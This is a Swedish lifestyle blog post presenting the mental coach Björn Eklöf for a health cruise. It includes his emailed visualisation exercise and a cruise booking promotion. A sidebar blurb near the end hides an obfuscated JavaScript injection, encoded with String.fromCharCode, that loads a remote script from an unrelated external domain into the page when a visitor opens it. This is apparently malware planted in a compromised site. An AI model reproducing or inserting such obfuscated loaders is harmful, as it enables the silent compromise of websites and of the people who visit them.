Veckans Hälsokickare: Björn Eklöf -Win We Do!

6

5588b90177a419ff0334df92_Dep2

Hej Fina!
Låt mig presentera, veckans Hälsokickare: Björn Eklöf

Som ni vet så jobbar jag tillsammans med Hälsokicken. Jag kommer nu varje vecka fram till det är dags för kryssningen att presentera er närmare för varje profil som också kommer att vara med på båten med, föreläsningar och träningsprogram. Denna veckan har jag träffat fantastiska Björn Eklöf!

Vem är Björn?

Björn Eklöf driver Konsultbolaget WinWeDo som arbetar med att förbättra prestationen på företag och dess medarbetare.
Det kan vara alltifrån deras sälj, och ledning till rena hälsofrågor.

Björn jobbar som mental coach och rådgivare till både chefer och idrottare.

Han är även mental coach till kickboxningslandslaget, Boxaren Mikaela Laurén, UFC-fightern Magnus ”Jycken” Cedenblad. 
Racingförarna Alexander Graff och ”ALX” Danielsson.

Ombord på båten så kommer han att hålla i en, FÖRELÄSNING:

HUR DU NÅR DINA MÅL
MED HJÄRNANS HJÄLP!

Hur skapar man målbilder, och hur använder man dessa?
Vad är en ”trigger” och hur skapar man och använder det?
Hur bryter du negativa tankebanor?

Här blir det konkreta verktyg som deltagarna kommer kunna använda i sin vardag!

-Efter mitt möte med Björn så är jag grymt imponerad! Jag är så otroligt tacksam att jag får jobba med dessa fantastiska människor! 

Brevbilaga

Du kan läsa mer om Björn på hans hemsida HÄR..

Gå gärna in och ”GILLA” hans Facebook sida HÄR 

image

Efter mötet med Björn som jag helt förtroligt har pratat öppet och ärligt med så fick jag detta mail, där det också ligger en plan på hur han 

Hej My! 

Tack för ett fantastiskt trevligt samtal!

Jag får så mycket respekt för dig och det du lyckas med med den bakgrund du har!
Du är otroligt stark!

Ditt mål till nästa gång:
Att sköta kost och träning.
 
Kom ihåg historien kring min klient med ätstörningar. BERÖM, BERÖM, BERÖM, aldrig klanka ner eller ha dåligt samvete.
 
Det du kan prova är att skapa din första Trigger.

Detta gör man för att försätta sig i den sinnessämning som man vill/behöver vara i. 
Det är väldigt bra för att minska nervositet, öka hanterbarhet i olika situationer etc.
 
Övning:
Innan du ska sova på kvällen, (gärna många kvällar för att hjärnan ska koppla)
 
*Tänk dig en plats där du mår fantastiskt! Det finns inga ”måsten”, inget som stör
du känner dig bara lugn, trygg och väldigt glad och tillfreds.
 
*När du är ”där” lägg då märke till alla sinnesintryck som bidrar till att du känner just så,
Hur ser det ut? Vad hör du? Dofter? Känslan (ex. soffan mot huden… Vind…) Smakar du på något?
 
*När du fått in alla sinnen, tryck då ihop lillfinger och tumme på vänster hand (viktigt att det är alltid på samma hand) och håll kvar det trycket i c:a 20-30 sekunder. 
 
*Släpp sakta, och gå tillbaka till var du är, lägg märke till skillnaden på samma sätt, lukt, känsla syn… 
 
*Tryck åter ihop fingrarna och gå tillbaka till ”din” plats.
 
Repetera 3-4 ggr.
 
Din Affirmation: (Ett sätt att påverka ditt undermedvetna)
” Jag kommer att hitta ett fantastiskt hem där jag kommer trivas!”
Jag kommer att fortsätta med mental coaching med hjälp utav Björn under kommande veckor tills det är dags för kryssningen… Det är otroligt spännande och nyttigt för min del som har ett ganska tungt bagage… Fortsättning följer…

image

Du vet väl om att du snabbt och enkelt kan gå in och läsa mer om hälsokicken HÄR <– <–

Från 1589:-/pers Ring för att boka! 08-452 40 00 Kod: HKICKEN

-Om DU följer med så kan jag garantera dig att vi kommer att ha det så grymt roligt!!!

Dessutom så kommer du att vara så full utav energi och ha så otroligt mycket bra mentala, fysiska och andra användbara verktyg med dig i hamn… som du kan fortsätta jobba med hemma mot ett sundare nyttigare och hälsosammare liv =)  – Är du sugen på att följa med?! =)

Vi hörs sen min fina! -TACK för att DU är DU <3

Kramar /My Martens

Föregående
Sjukaste situationen på länge! Utbjuden TRE gånger inom ,loppet utav 15 min?! I mjukisdress md hårinpackning?! -Dolda kameran? ett prank? -hahaha! Heeeelt sjukt!
Nästa
Hej från Barcelona! =) -Puss!

6 Komentarer

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Föregående
Sjukaste situationen på länge! Utbjuden TRE gånger inom ,loppet utav 15 min?! I mjukisdress md hårinpackning?! -Dolda kameran? ett prank? -hahaha! Heeeelt sjukt!
Nästa
Hej från Barcelona! =) -Puss!

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Mys Blommor🌹/ Din florist / Högsta Kvalitet & Design💫 / 🌍 Catalina Torget 15 Täby 📲 08 36 36 14

Välkommen!

@mymartens

@mys_blommor

My Blommor Täby

Strong Mamas

© Copyright My Martens

Kontakt